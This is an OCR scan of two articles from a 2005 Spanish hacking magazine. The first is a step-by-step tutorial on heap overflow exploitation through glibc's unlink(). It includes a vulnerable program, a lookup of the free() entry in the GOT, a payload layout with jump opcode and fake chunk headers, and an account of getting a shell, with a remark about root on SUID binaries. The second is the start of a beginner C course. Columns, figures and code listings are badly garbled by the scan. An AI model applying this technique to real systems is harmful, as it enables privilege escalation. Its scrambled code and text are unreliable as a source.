deando la cantidad de bytes hacia arri-
ba), los tres ultimos bits de este entero
deberian ser siempre nulos. Sin embar-
go, lo que se hace es aprovechar estos
tres Gltimos bits para otros usos. Asi, el
Ultimo bit del entero size (se le llama
PREV_INUSE) nos indica si el chunk an-
terior esta siendo usado o no (ponién-
dolo a 1 o 0 respectivamente). El se-
gundo bit menos significativo también
tiene un valor especial, pero nosotros
no vamos a prestarle atencién. El terce-
ro permanece sin usar.

En cuanto al entero prev_size, tiene una
doble funcion. Por una parte, cuando el
chunk anterior esta en uso, este entero
se usa como parte de los datos (aho-
rrando asi 4 bytes :-) ). Cuando el
chunk anterior es liberado, en este cam-
po queda reflejado su tamafio.

Como ya habras adivinado, el puntero
ptr de la imagen es el puntero devuelto
por malloc cuando reservamos memo-
ria. Asi, si logramos desbordar el buffer
reservado dinamicamente, estaremos
sobrescribiendo la informacidn interna
del chunk siguiente.

Sin embargo, el esquema anterior sélo
es valido cuando el chunk actual esta en
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uso. Cuando liberemos nuestra memoria
(con free(ptr) ), el chunk cambiara ligera-
mente, tomando la siguiente forma:

-ff— chunk actual
entero prev_size
entero size
-— ptr
[puntero fd]
[puntero bk]
[resto de datos]
3 siguiente chunk
entero prev_size
[...]

Como puedes ver, han aparecido dos
punteros al principio de los viejos datos,
sobrescribiendo sus 8 primeros bytes
( 4 por cada puntero), y se mantienen
inalterados el resto de los datos.¢Y qué
son esos dos punteros? Cuando libera-
mos un chunk, malloc lo afiade en una
lista doblemente enlazada, donde man-
tiene todos sus chunks libres.

Y... £Qué es una lista doblemente enlaza-
da? Una lista enlazada es una estructura
dindamica de datos, que mantiene una
coleccion de estructuras, cada una con un
puntero a la siguiente. Asi, podemos re-
correr la lista desde su primer nodo hasta
el final, gracias a ese puntero.

Siguiendo un razonamiento ldgico, una
lista doblemente enlazada sera una lista
enlazada, pero con punteros hacia de-
lante y hacia detras. Asi, podremos re-
correr la lista en ambas direcciones. La
siguiente imagen representa una lista
doblemente enlazada:

posible. Durante estas operaciones de
union de dos chunks, se elimina el
chunk que se va a fusionar de la lista,
con lo que tenemos que realizar las si-
guientes operaciones:

1.- Almacenar en un puntero tem-
poral la direccion de los chunks
anterior y siguiente.

2.- Hacer que el puntero siguiente
del chunk anterior, apunte al si-
guiente del actual.

3.- Lo mismo pero a la inversa. El
puntero anterior del chunk si-
guiente apunta al chunk anterior
al actual.

Estas operaciones son efectuadas por la
macro unlink(), definida como sigue:

#define unlink(P, BK, FD)
{

BK = P->bk;

FD = P->fd;

FD->bk = BK;

BK->fd = FD;

}

Teniendo en cuenta que cuando se lla-
ma a unlink(), P es un puntero al chunk
siguiente, y BK y FD son punteros tem-
porales, y que ademas, el miembro fd
de la estructura estd 8 bytes mas hacia
adelante de su inicio (el tamafio de dos
enteros: prev_size y size) y el miembro
bk 12 bytes, tenemos que se realiza la
siguiente operacién:

1.- En la direccién apuntada por el

algunos
datos

algunos
datos

algunos
datos

miembro FD de P, mas 12 bytes
(bk de esa estructura) se escribe el

ptr. siguiente ptr. siguiente

ptr. siguiente

contenido del puntero BK.

ptr. anterior - ptr. anterior

- ptr. anterior

2.- En la direccion apuntada por

Espero que se haya comprendido bien el
concepto de las listas doblemente enla-
zadas con este dibujito;-) En este ar-
ticulo no se pretende que se sepa pro-
gramar utilizando listas de este tipo,
simplemente aprovecharnos de unas
operaciones que se hacen en ellas, asi
que volvamos a lo nuestro.

Cuando hacemos el free(ptr), malloc lo
que hace es incluir nuestro chunk en la
lista enlazada, y ver si puede unirlo con
alguno de los chunks contiguos, para
tener asi un chunk del maximo tamafo
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BK, mas 8 bytes (fd de esa estruc-
tura) se escribe el puntero FD.

Como ves, hay un movimiento de pun-
teros y un par de escrituras de memo-
ria. Ademas, si nos encontramos ante
un buffer overflow en variables dinami-
cas, sabemos que tenemos la posibili-
dad de controlar lo que se escribe en el
chunk siguiente al nuestro, con lo que
podemos controlar los punteros fd y bk.

Puesto que estos punteros influyen en

las escrituras de memoria realizadas por
la macro unlink(), podemos elegir libre-
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mente una direcciéon de memoria y es-
cribir en ella aquello que queramos,
simplemente cambiando los valores de
fd y bk.

Asi, imagina que queremos escribir cua-
tro letras A en la direccion de memoria
0x01020304. Teniendo en cuenta lo que
he explicado mas arriba, lo que haria-
mos seria:

1.- Poner la direccidn
0x01020304 - 12 en el puntero
fd del siguiente chunk

2.- Poner 0x41414141 (las 4 le-
tras A) en el puntero bk.

Ahora bien, para conseguir que haga
eso, hay que tener en cuenta que el bit
PREV_INUSE (ultimo bit del campo size)
del chunk sobrescrito debera ser cero
(usaremos aqui y en prev_size el valor
Oxfffffffc, que es -4 y funciona a la
perfeccién). Asi, una vez se libere la
memoria, se realizaran los procesos de
escritura que dije antes.

Todo esto es muy bonito y tal, pero,
équé podemos hacer para sacar prove-
cho? Pues de momento podemos alterar
direcciones de memoria, que no es poco
;-) Con la capacidad de alterar direccio-
nes de memoria, podemos hacer lo si-
guiente:

P Meter una shellcode en el bu-
ffer

P sobrescribir fd con la direccion
de un puntero a funcidén, una
direccion de retorno almacenada,
etc. [dir_ret] menos 12 bytes
(debido a lo que ya se ha mencio-
nado anteriormente).

P sobrescribir bk con la direcciéon
del buffer. [dir_buff]

P Asegurarnos de que el bit
PREV_INUSE es cero.

Asi, tras la liberacion de la memoria
usada por el buffer, tendremos que en
algun lugar donde nuestro programa al-
macena una direccién a la que va a sal-
tar mas adelante [dir_ret] se almacena-
ra la direccién de nuestra shellcode, y
cuando el programa vaya a ejecutar di-
cha instruccion, habremos logrado eje-
cutar nuestro cédigo.
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Sin embargo, hemos obviado la segun-
da de las operaciones realizada por un-
link(). Si recuerdas, en la direccion de
bk mas ocho bytes se almacena el con-
tenido del puntero bk. En nuestro caso,
eso sera a partir del octavo byte de
nuestra shellcode, con lo que ésta que-
daria inutil. Asi pues, lo que tenemos
que hacer es que al principio del buffer
haya una instruccién que le diga que
salte a la posicién 12 (la posicién 8,
mas los 4 bytes del puntero escrito), y
poner a partir de alli nuestra shellcode.

Por tanto, el buffer quedaria algo asi:
(ver imagen 1)

Pero es que ademas, hay que tener en
cuenta que probablemente al liberar el
espacio del primer buffer, los 8 primeros
bytes de éste seran sustituidos por los
campos fd y bk correspondientes. Asi, se
destruiria la instruccion de salto de 10
bytes, con lo que no funcionaria. Por tan-
to, nos quedara afiadir 8 bytes mas de
basura al principio, y sumarle 8 al campo
dir_buff, quedando el buffer definitivo asi:
(ver imagen 2)

Sin embargo, nos queda encontrar lo que
aqui hemos llamado dir_ret. Se trata de
encontrar la direccidon de alguna de las
funciones del programa. Para ello, tene-
mos varias posibilidades. Si en nuestro
programa vulnerable hay algun puntero a
funcidon de los mencionados en la parte
anterior del articulo, éste sera un candi-
dato evidente para nuestro ataque.

Ademads de éstos, otra opcidn es modifi-
car una seccién de los programas de la
que todavia no hemos hablado. Se trata
de la seccion llamada GOT (Global
Offset Table). En esta seccién, lo que
hay es una tabla con direcciones de me-
moria de las funciones que utiliza el
programa. Podemos localizar mediante
la utilidad objdump la direccién de la
funcion free() en nuestro programa vul-
nerable, y mediante la técnica expuesta
cambiar dicha direccién por la de nues-
tro buffer.
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Salto de 10 bytes | relleno [10 bytes ] | Shellcode + basura| prev_size size dir_ret — 12 | dir_buff
[2 bytes]
Imagen 1
relleno [8 Salto de 10 relleno [10 Shellicode + prev_size size | dir_ret — | dir_buff
bytes] bytes [2 bytes] bytes ] relleno 12 +8
Imagen 2

Para localizar la funcion free en la GOT
del programa ejemplo2.c visto al princi-
pio, haremos lo siguiente:

Parece que si que hace lo que deberia,
pero como vemos, no hay ninguna
proteccion contra desbordamientos al
rellenar el buffer cad1, asi que podemos
atacar por ahi. Pero segin hemos visto
antes, primero debemos obtener la
direccién de la funcion free(), y la
direccion del propio buffer cadl. Pués
vamos alla:

tuxed@athenea:~/articulo2$ objdump -R ejemplo2 | grep free
08049778 R_386_JUMP_SLOT free

tuxed@athenea:~/articulo2$

tuxed@athenea:~/articulo2$ objdump -R Heapl | grep free
080497dc R_386_JUMP_SLOT free

Asi, ya tendremos la direccién de me-
moria a sobrescribir, solamente nos
guedaria encontrar la direccién del bu-
ffer, y rellenarlo convenientemente.

Vamos a ver todo esto que hemos expli-
cado de manera practica mediante el si-
guiente programa:

Le restamos 12 y nos queda
0x080497d0.

Ahora vamos a obtener la direccién del
buffer pero esta vez no lo haremos con
gdb, sino con la herramienta Itrace. Asi,
ejecutamos el siguiente comando:

Cédigo heap1.c:
#include <stdio.h>

int main(int argc, char *argv[]){
char *cadl,*cad2,*cad3;

if (arge<3){

printf("Uso: %s destino mensaje\n", argv[0]);
exit(-1);

cadl=(char *)malloc(200);
cad2=(char *)malloc(40);

strnepy(cad2,argv[1],39);
cad2[39]="0";

strepy(cadl, argv[2]);

/*Aqui mandariamos el mensaje */
printf("El mail fue mandado a %s :-)\n", cad2);

free(cadl);
free(cad2);

malloc(200) = 0x804a008
malloc(40) = 0x804a0d8
tuxed@athenea:~/Articulos HxC/art2$

Supuestamente, este programa lo que
hace es mandar un mensaje (pasado
como segundo argumento) al destino
pasado como primer argumento.
Veamos su funcionamiento:

tuxed@athenea:~/articulo2$ gcc Heapl.c -o Heapl
tuxed@athenea:~/articulo2$ ./Heapl

Uso: ./Heap1 destino mensaje
tuxed@athenea:~/articulo2$ /Heap!1 pepito@jotmeil.com lalla
El mail fue mandado a pepito@jotmeil.com :-)
:~/articulo2$
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Como vemos, el buffer se encuentra en
la direccion 0x0804a008, y sumandole
los 8 bytes, queda 0x0804a010 (8 +8 =
16 bytes, 10 en hexadecimal).

Provistos con estos datos, debemos
preparar nuestro buffer tal y como he-
mos indicado antes. Sin embargo, aun
no sabemos como hacer el salto incon-
dicional que debe ir al principio de
nuestro buffer. Puesto que no entra en
los objetivos del articulo cémo averi-
guarlo, os lo digo yo ;-) El cédigo de
operacidon de un salto de 10 caracteres
es: \xeb\x0a.

Ademas, nos falta saber cuanto espacio
disponemos antes del comienzo del
chunk siguiente, puesto que debemos
poner a partir de alli los nuevos datos:
prev_size, size, fd y bk. Debemos tener
en cuenta para ello que malloc() suma
4 bytes a esa cantidad ( el tamafo total
seria de 8 mas la cantidad de datos, sin
embargo, ya que utilizamos como datos
el campo prev_size del chunk siguiente,
solamente sumamos 4). Seguidamente,
lo que se hace es redondear hacia arri-
ba al multiplo de 8 bytes mas préximo.

Asi, si por ejemplo ponemos malloc(16),

tendremos que después de sumarle los
4 bytes, quedan 20 bytes. Al redondear
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Shellcode +
basura

relleno [10

AAAAAAAA | xebixDa
bytes ]

O fifffffc Ox fifffifc 0x080497d0 | 0x0804a010

Imagen 3

al siguiente multiplo de 8, quedarian 24
bytes. Si reservamos para un buffer de
200 bytes, se redondeara al multiplo de
8 mas proximo a 204, quedando pues
un chunk de 208 bytes.

Puesto que el chunk es de 208 bytes,
tenemos que para datos hay 204 bytes
( el chunk entero, menos los 8 bytes de
sus campos prev_size y size, mas el
tamano del campo prev_size del chunk
siguiente). Sin embargo, el campo
prev_size del chunk siguiente también
debe ser sobrescrito, asi que en total
deberemos escribir 200 bytes antes del
valor de prev_size deseado.

Ahora si, ya sabemos todos los datos
necesarios, asi que ya podemos atacar.
Simplemente vamos a tener que poner
las cosas en orden, quedando el buffer
asi:(ver imagen 3)

Ahora bien, nos queda saber el tamafio
de la basura. Teniendo en cuenta que
tienen que haber 200 bytes entre el sal-
to condicional, el relleno de 10 bytes, la
shellcode y la basura, con un poco de
matematicas simples tenemos:

200 bytes - 8 bytes - 2 bytes - 10
bytes - 38 bytes = 142 bytes

Vamos a probarlo (ten en cuenta que
tanto direcciones de memoria como da-
tos deben ir en formato little-endian):

B

El mail fue mandado a tuxed@devnull :-)
tuxed@athenea:~/Articulos HxC/art2$

Pues vaya, no ha funcionado. ¢Por qué?
Pues ha fallado debido a que Ox0A es la
representacion en cédigo ASCII del
caracter NL (New Line). Por tanto, el
programa ha interpretado nuestro buff-
er como dos parametros distintos, y no
se ha desbordado. Para arreglarlo, ten-
emos que poner todo el buffer entre
comillas, y ya funcionara:

B

El mail fue mandado a B—# :-)
sh-3.00$

shell de root :-) Debes tener en cuenta
que las letras A en la linea de comando
anterior son 8, y la cadena
SALUDOSHXC tiene 10 caracteres, que
es justo la cantidad de relleno que
habiamos dicho que teniamos que pon-
er.

Hasta aqui llega este segundo articulo
sobre explotacidén de vulnerabilidades.
Nos vemos en la proxima revista (si no
pasa nada) con un articulo acerca de las
cadenas de formato (format strings).
Espero que os haya gustado y no haya
resultado demasiado dura la ultima
seccion ;-) . Si tenéis alguna duda, no
dudéis en pasaros por el foro a com-
partirla con nosotros.

Eloi S.G. (a.k.a. TuXeD)

A Bea y a mi familia, por aguantarme

Como puedes ver, tenemos nuestra
shell. Si el programa Heapl tuviese el
bit SUID activo y fuera propiedad de
root, ahora tendriamos una graciosa

¢Tienes conocimientos
avanzados sobre Seguridad
Informatica y/o Programacion?

¢ Quieres dar a conocer
publicamente un Bug, la forma
de explotarlo y/o de defenderse?

CONTACTA CON NOSOTROS

empleo@editotrans.com
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Capitulo 1

PROGR.AM ACION

Curso de C

Hola amigos, algunos me conoceréis por los foros de HackxCrack. Otros hasta tendréis la suer-
te/desgracia de conocerme en persona. Soy Popolous y a través de una serie de articulos vamos
a ir descubriendo, paso a paso, el mundo del C, ese lenguaje desconocido.

Las razones para aprenderlo, son bastante evidentes. Es un lenguaje muy potente, para gente va-
liente y ademas nos servira para poder entender mejor el curso que Tuxed estd haciendo sobre
desbordamientos y demas "virguerias". No me enrollo mas y pasaremos a la accion.

0. Abriendo los ojos ...

Debo confesar que no sé absolutamente nada de C. Y si,
lo admito abiertamente y hasta me atrevo a mandarlo y
publicarlo en una revista. ¢Por qué lo hago? Bueno, porque
no sé vosotros, pero a mi siempre que he leido algo, he
pensado: “Anda, que si al final del articulo supiese tanto
como el autor...”. Y bueno, hete aqui un buen motivo para
escribir sin saber nada de C: aprender yo y al final del
articulo, todos sabréis lo mismo que yo.

Debo decir que como novato total y tras haberme costado
sangre, sudor y lagrimas, voy a usar Linux como soporte
para los programas y el compilador gcc, asi que no se
asuste nadie si no hay ventanitas de por medio. Si empe-
zamos por lo oscuro, qué mejor que una linea de comandos,
éno?.

Pero para los que me quieran tachar de elitista, tengo que
decir que todos los programas han funcionado sin problemas
en Windows. El cddigo es ANSI C estandar, es decir aceptado
por todos los compiladores decentes de C y ademas no
estoy usando ninguna libreria que no venga en todos los
compiladores. Asi que todos los programas pueden editarse
y compilarse en cualquiera de los dos entornos (tanto Linux
como Windows).

Lo primero que me Ilamé la atencién al aprender esto de
C fue la cantidad de conceptos nuevos que lo asaltan a uno
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cuando empieza a leer un libro sobre C. Uno empieza a
leer y se da cuenta de que aparece la palabra ANSI, que
parece ser, segun dicen, que fue lo que estandarizé las
distintas implementaciones de C que habia en un principio.
Esto, a mi que lo que quiero es programar, pues no me
sirvié de mucho que digamos. Primera decepcion y primera
tentacion de usar el libro de calzador...

Pero uno sigue leyendo y como todos los principios son
arduos y duros, por la primera en la frente uno no se
achanta, asi que uno lee cosas como estas:

P que C es un lenguaje que tiene gracia (hasta ahora
cuando veo un coédigo menos reirme me entran ganas
de todo)

P que C es elegante (bueno, no lo he visto en la pasarela
Cibeles que digamos)

P que C es potente (ahh, por eso Fernando Alonso no
gana tantas carreras... el Schumacher ese lleva C.
iEureka!... si de esta no salgo programador al menos
si asesor de moda y/o Férmula 1)

P iAh!' Y C incluso es portable. Ahora si que me ha
convencido: poder aprender C mientras estoy de cafias
con los amigos o tomando un café, eso es impagable.
Peeerooooo, vaya por Dios, resulta que portable quiere
decir que el mismo cdédigo puede compilarse (pasarse
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de lenguaje humano a lenguaje de
la computadora) en cualquier maqui-
na y/o Sistema Operativo con mini-
mos cambios ...

Bromas aparte, esto era un poco para
romper el hielo y perderle el miedo “ini-
cial” a lo desconocido.

Cuando uno esta aprendiendo C, apare-
cen mil términos:

b que si estructurado, imagino que
porque tiene estructura y usa varia-
bles locales (que luego podemos usar
para que exploten los programas,
qué majas, qué locuacidad). Pero ojo,
simplemente estructurado, no la
vayamos a complicar (es que no per-
mite definir funciones dentro de fun-
ciones, qué le vamos a hacer, no lo
puede tener todo el chico).

P que si sus origenes se deben al
lenguaje B, que seguro deriva a su
vez del A ya veras, espera que siga
leyendo. iAh, no! Me he colado de
listo, iups!, deriva de BCPL (caray,
la pérdida de letras debid ser alguna
devaluacion importante, ni los len-
guajes de programacion sobreviven
a ellas)

P que si empezo sobre Unix, que si
unos tales Dennis Ritchie, Brian Ker-
nigham y Martin Richards, que si
bostezo porque esto parece una clase
de historia, esperad que ahora voy
por un café...

Ademas, uno creyendo toda la vida que
hay lenguajes de alto nivel y de bajo
nivel, resulta que este, para variar, es
de nivel medio. Me lo explique. Y la
respuesta no podia ser menos, llega unas
pocas lineas mas abajo: combina ele-
mentos de lenguajes de alto nivel con
lenguajes de ensamblador. Vamos, de
cajon de madera de pino gallego. Y uno
puede leer que C es poco tipificado
(no, no busquéis en el Codigo Penal si
es delito, que no lo encontraréis), lo cual
significa que admite una cierta flexibilidad
a la hora de definir y/o manejar distintos
tipos de datos. Y que ademas no es muy
quisquilloso a la hora de realizar opera-
ciones con distintos tipos de datos. Va-
mos, todo un diplomatico.

Y ademas algo que ya llama poderosa-
mente la atencidn: sdlo tiene 32 palabras

44

clave, frente a cerca del centenar que
tienen otros lenguajes. Todo un detalle,
si tenemos en cuenta que mi memoria no
es muy buena. Voy teniendo curiosidad
sobre eso que dicen que es potente, agil
y demas ... Mmm, esto requiere que abra-
mos un poquito mas los ojos y sigamos
leyendo el libro. No os vayais, soy lento
leyendo pero no tanto :P.

1. Frotdndonos los ojos
para
alaluz...

Pues me estd gustando esto de leer fijate,
porque resulta que C es para programado-
res, y eso pues alimenta mi ego, un poco
alicaido por la poca cantidad de conocimien-
tos que uno atesora. Lo usan los progra-
madores y por tanto, esto nos esta diciendo:
"Oye, que vale la pena echarle horas”.
Menos mal, porque uno es muy selectivo
en donde echa las horas :P.

Ya un poco para terminar con el rollazo
de la introduccion y siguiendo con la
lectura, uno aprende por ejemplo, que
C se penso para que los programas que
se escriben con él sean compilados en
vez de interpretados. Es decir, que se
genera un ejecutable (grosso modo) y
luego somos independientes de la fuente
(texto plano donde esta el cédigo inteli-
gible por un humano). Si fuese interpre-
tado, pues habria que tener siempre el
fuente y es mas lento. O sea que la
rapidez esta también con nosotros. Bien,
sigue sumando puntos.

Y las bibliotecas. No, no os vayais asus-
tados, no se trata de esos sitios que de
estudiantes nos servian sélo para eva-
dirnos en dias de frio y cuando el bar
mas cercano estaba hasta arriba de gente
gue era mas rapida que nosotros. No.
Se trata de que en C no hay que currar-
selo todo (me sigue gustando, menos
trabajo), sino que hay una serie de fun-
ciones ya escritas y que nos sirven para
por ejemplo interactuar con la E/S (por
ejemplo hacer que salga por pantalla un
mensaje o enviar a imprimir “algo” a la
impresora). iFiu! ¢Os imaginais lo que
seria tener que escribir esto nosotros
mismos? Por Dios, que estamos apren-
diendo... Gracias a toda esa gente por
ese trabajo que nos han ahorrado. Ahora
no tenemos que reinventar la rueda, sélo
usarla. Esto me sigue gustando.
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2. Empezamos a verlo
todo mas claro.
Nos acostumbramos a la luz

Una vez que uno se adentra mas en un
lenguaje de programacién, le asaltan
conceptos como el de variable, que no
es mas que un cajon donde guardar
datos. Pero bien, resulta que como en
la vida real, carpinteros hay muchos y
cada uno tiene su modo de trabajar, asi
que hay cajones de distintos tipos.

Pero en C sélo hay 5 carpinteros basicos
y crearon 5 cajones (char, int, float,
double y void):

P char: aqui s6lo podemos guardar
“cosas” de tipo caracter (cualquiera
de los que aparecen en la tabla AS-
CII). Por ejemplo: a; b; c; d; e; f;
g...

En www.google.com puedes buscar tablas
ASCII para ver todos sus elementos. Por ejem-
plo en http://www.lookuptables.com/ y en
http://www.abcdatos.com/utiles/ascii.html
tienes unas muestras.

P int: Aqui podemos guardar nimeros
enteros con y sin signo. Por ejemplo:
1; -1; 2; -2; 18000; -18000; 5668;
-42...

b float: en este cajon podemos guar-
dar niumeros con decimales en for-
mato de coma flotante tanto positivos
como negativos, por ejemplo: 1,25;
-1,25; 2584,9845

P double: La Unica diferencia con el
anterior (float) es el tamafio del
cajén para guardar dichos nimeros,
el cajon double es mas grande.

b void: Este es un cajon “especial”
y quasi-extravagante, porque sirve
para otras cosas. De momento no lo
abriremos ;-).

En el primer tipo de datos (char) tam-
bién, como veremos a lo largo del curso,
podemos guardar valores enteros entre
0 y 255. Pero tranquilos que esto ser
vera mas adelante..

Bien, y dentro de estos “cajones” tene-
mos distintos modelos o estilos (llamado
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en C modificadores). Para ello sdlo
deberemos pedir el cajon correspondiente
anteponiendo el modificador:

b signed

P unsigned
b long

b short

Cuidadin con como escribimos las cosas,
que C es muy sensible y distingue entre
signed y SiGnEd, por ejemplo.

Cada uno de estos estilos, dota a nues-
tros cajones de diversas caracteristicas.
Estas caracteristicas nos permiten hacer
mas selectivos y especificos nuestros
cajones, aunque en otros casos, no apor-
tara nada nuevo al cajon, asi que el
carpintero correspondiente de C nos
mirara asi con cara medio extrafia, aun-
que cumplird con nuestro encargo, que
para eso le pagamos xD.

Vamos al grano, el primero de ellos
(signed) lo que hace es obligar a que
nuestros cajones almacenen tanto
nUmeros positivos como negativos, que
en el caso de los nimeros son sdlo
nimeros positivos y en el caso de los
caracteres... pues bueno, sobre esto
volvemos luego, pero quedaros con que

el tipo char también lo podemos usar
para almacenar enteros en un rango
limitado (como mucho hasta 256).

El segundo (unsigned) es para discrimi-
nar un poquito mas y para que sélo
almacenen nUmeros positivos.

El tercer y cuarto controlan el tamafo
de los cajones: grande en el primer caso
(long) y pequefio en el segundo (short).

Los modificadores/indicadores de signo
(signed y unsigned) no pueden usarse
conjuntamente, como es algo obvio, pero
si combinados con los de tamafio (long
y short).

Hablando del tamafio de las cosas ...
¢Cuantos bytes ocupara cada uno de los
tipos anteriores?. Mmm, uno es curioso
y dicen los manuales que hay que ase-
gurarse en cada compilador para hacer
el cddigo lo mas portable posible... Bien,
pues entonces, veamos en nuestro caso
cémo son los distintos tipos de datos y
cuanto ocupan, asi vemos ya un progra-
mita en C, que no sera el tipico “Hola
mundo” y que tiene algo mas de utilidad.
No es un clasico, pero a veces uno tiene
que sacrificar lo clasico por lo practico.

De paso vemos un programa en C. Abrid
vuestro editor favorito (en mi caso vim,
nano o gvim, no soy delicado :P), en

Windows el bloc de notas o similar (cui-
dadin porque tiene que guardarse como
texto plano, que luego los caracteres no
imprimibles dan mas de un susto ;-)) y
escribid el siguiente codigo: (ver listado
1)

Bien, tras el subidén de adrenalina que
experimenté al escribir este cédigo en
C, todavia me quedaba lo mejor: compi-
larlo y ejecutarlo. Asi que, bueno, tras
leerme el man (que no la revista man
:P) de gcc y preguntar a un buen amigo
si estaba yo en lo cierto o no, compilé:

popolous@Ulises Programas C $ gcc
primero.c -o primero

primero.c: En la funciéon “main':

primero.c:12: aviso: el tipo de
devolucion de “main' no es "int’

Para los usuarios de Windows que utilicéis
algun compilador en modo grafico no es
mas que irse al menu correspondiente
y darle a “"Compilar” o “"Compile”,
segun el idioma con el que os habéis con
el compilador que uséis. Si no, mirad en
la ayuda de vuestro compilador en modo
texto y ahi os aparecerd cémo compilar.
Si todavia tenéis alguna duda, pasaos
por el foro (que no por el forro :P) y os
ayudaremos gustosos ;-).

r

// Primero importamos la

#include <stdio.h>

void main(void)

libreria estandar

// Empezamos a escribir el programa principal, que empieza en la funcion

de C para poder

// Usamos la funcion printf y el operador unario sizeof()

/* Programa en C que muestra por pantalla el tamafio en bytes de los distintos tipos de datos */

mostrar datos por pantalla

// main

{
printf("El tamafio en memoria del tipo char es %o byte\n", sizeof(char));
printf("El tamafio en memoria del tipo int es %o bytes\n", sizeof(int));
printf("El tamaifio en memoria del tipo int con modificador long es %o bytes\n", sizeof(short int));
printf("El tamafio en memoria del tipo int con modificador long es %o bytes\n", sizeof(long int));
printf("El tamaifio en memoria del tipo float es %o bytes\n", sizeof(float));
printf("El tamafo en memoria del tipo double es %o bytes\n", sizeof (double));
printf("El tamafo en memoria del tipo double con modificador long es %o bytes\n", sizeof(long double));

b

Listado 1

Abril 2005 / n° 28

PC Paso a Paso

45




www.hackxcrack.com

popolous@Ulises Programas C $ ./primero

El tamaifio en memoria del tipo char es 1 byte

El tamaifio en memoria del tipo int es 4 bytes

El tamaiio en memoria del tipo int con modificador long es 2 bytes
El tamafo en memoria del tipo int con modificador long es 4 bytes
El tamafo en memoria del tipo float es 4 bytes

El tamafo en memoria del tipo double es 10 bytes

El tamaifio en memoria del tipo double con modificador long es 14 bytes

Listado 2

De momento tenemos un aviso, esto ya
veremos por qué es, pero no es nada
malo, no os asustéis, simplemente es
que el compilador es bastante informa-
tivo. El esperaba que la funcién main
devolviese un entero y se ha encontrado
con void y ha protestado. Pero no pasa
nada, es un aviso. Si fuese un error....,
otro gallo cantaria.

Bien, el cddigo se llama primero.c y con
el compilador gcc hemos creado el eje-
cutable primero. Para ejecutarlo pone-
mos:(ver listado 2)

Y aqui estan los resultados en mi orde-
nador. Obviamente no tiene por qué
coincidir con los que obtengais cada uno
en los vuestros, suele depender del com-
pilador, pero si no obtenéis lo mismo,
no os asustéis. De aqui, se sacan cosas
interesantes. Como que un tipo int es
por defecto igual que un float, sélo que
obviamente, representan cosas distintas.
Y uno sale de dudas con el tamafio de
los tipos de datos.

Ahora bien, vamos a explicar algo de
este nuestro primer programa en C. Los
comentarios, como habéis podido deducir,
se pueden hacer de dos maneras:

1. Mediante /* para indicar el inicio
de un comentario y */ para finalizarlo.
Se suelen utilizar para cuando los
comentarios ocupan mas de una linea.

2. Mediante // si ocupa sélo una linea.
Cuando pasamos a la siguiente ya no
tiene efecto.

Los comentarios afiaden claridad a un
programa y no hacen que disminuya su
eficiencia como tal, ya que son ignorados
luego por el compilador. Cuantos mas y
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mas claros, mejor para luego depurar
errores y entender programas no escritos
por nosotros y hacernos entender, claro.
Después aparece main(). Esta es una
funcion y debe aparecer siempre en todo
programa de C. Es digamos el punto de
entrada. La puerta de acceso para colocar
cajones y demas ;-). Y antes vemos que
tiene la palabra void que como dijimos
era el quinto tipo de datos que hay en
C. Antes de explicar el void (que se
puede traducir por “vacio”, “nada” o
“hueco”), vamos a ver qué es eso de
una funcién.

De matematicas nos han explicado que
una funcion es algo que tu le das valores
a una variable (o a varias) y como resul-
tado tienes un numero (u otras cosas
pero no es momento de complicar las
funciones matematicas, de eso se encar-
gan ya bien ellas mismas). Bien, pues
este simil expresa muy bien lo que es
una funciéon en programacion: recibe
valores de variables (que son también
variables, pero que los programadores
se empefian en llamar argumentos) y
como resultado arrojan otro valor, que
en el caso de la programacién es otra
variable. En matematicas esto que seria
F(x1,x2,...,Xxn) = resultado, aqui seria:

tipo_valor_retorno nombre_funcion( x1,x2,...,xn)

{ Bloque de cddigo }

Y esto nos vale como prototipo de
funcion, para poder analizar el resto de
funciones que nos vayamos encontrando
después.

Luego en nuestro ejemplo se devuelve
una variable que tiene el tipo void (o lo
que es lo mismo, no devuelve nada) y
no tiene ningln parametro de entrada.

PC Paso a Paso

Volveremos sobre valores/variables de
retorno mas adelante.

Bien, vamos avanzando bastante y hasta
ahora no se ha complicado mucho la
cosa. Siguiendo con el ejemplo, vemos
que detras de nuestra funcion main hay
unas llaves de apertura y de cierre donde
hay mas cdédigo metido. Bien a todo lo
que hay entre { y }, se llama en C
bloque de cédigo y se ejecuta todo
juntito cada vez que se entra en dicho
bloque de codigo. En nuestro caso se
ejecuta al entrar en la funcién main, que
se “activa” o mejor dicho y hablando con
propiedad, es llamada, siempre que se
ejecuta el programa que estamos hacien-
do.

Vemos también que hay otra funcion:
printf. Esta funcion recibe como para-
metros un texto y lo presenta en panta-
lla... Me estas engafiando, me podéis
decir, porque yo ahi veo algo mas que
texto. Y no os faltaria razon. Pero dejad
que os aclare que hay muchas formas
de presentar un texto y que de momento
nos valdra con esta definicion para esta
funcidon. Cuando se vean punteros y
demas podremos ver su definicion de
forma mas precisa.

Pero os debo explicar cdmo lo hemos
utilizado en este caso. Fijémonos bien y
tomemos un ejemplo de nuestro progra-
ma:

printf("El tamafo en memoria del
tipo char es %o byte\n",
sizeof(char));

Bien, tenemos, segun lo que he explicado
anteriormente en nuestro prototipo de
funcion que no hay nada como ti-
po_valor_retorno. No nos preocupara
ahora en exceso, pero no poner nada y
poner void (que es “nada”, curioso,
éverdad?) viene a ser lo mismo, con lo
cual nos podemos ahorrar el ponerlo. De
hecho, os animo a probar el cédigo an-
terior suprimiendo los void de main y
veréis como no cambia en nada el resul-
tado. Animo valientes, que no se diga.
Luego tenemos (“El tamafio en memo-
ria del tipo char es %o es by-
te\n”,sizeof(char));. Bien, entre los
paréntesis vienen los argumentos de la
funcién prinft. Esta funcion, como trabaja
con cadenas, lo que hace es recibir ca-
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denas. Premio a la coherencia, que se
[lama ;-). Y en las cadenas podemos
incluir valores de variables, que van
luego separadas por comas. Y para incluir
su valor dentro de la cadena que quere-
mos sacar por pantalla, pues nada mejor
que poner un simbolo del porcentaje y
luego una letra, que nos indica el tipo
de la variable que queremos sacar
por pantalla. En este caso o representa
un valor octal, i para enteros, f para
nimeros en coma flotante...

Luego el valor que sustituye en la salida
a %o es sizeof(char), que es un ope-
rador monario (¢mandéeee?, tranquilos,
mas adelante se vera, de momento es
para que nos suene) que nos dice el
tamano en bytes de una variable en
memoria. A este operador se le puede
pasar una variable o como en este caso,
un tipo.

Bien, con esto uno se queda con la
sensacion de que no sabe absolutamente
nada de C. Y la verdad es que no esta
muy equivocado. Pero como en todos
los comienzos, hay que ir pasito a pasito
y viendo y comprendiendo bien los pilares
de la programacién. Que una funcién se
invoque de una forma u otra no debe
molestarnos/preocuparnos ahora. Para
eso hay ayuda a patadas dentro del
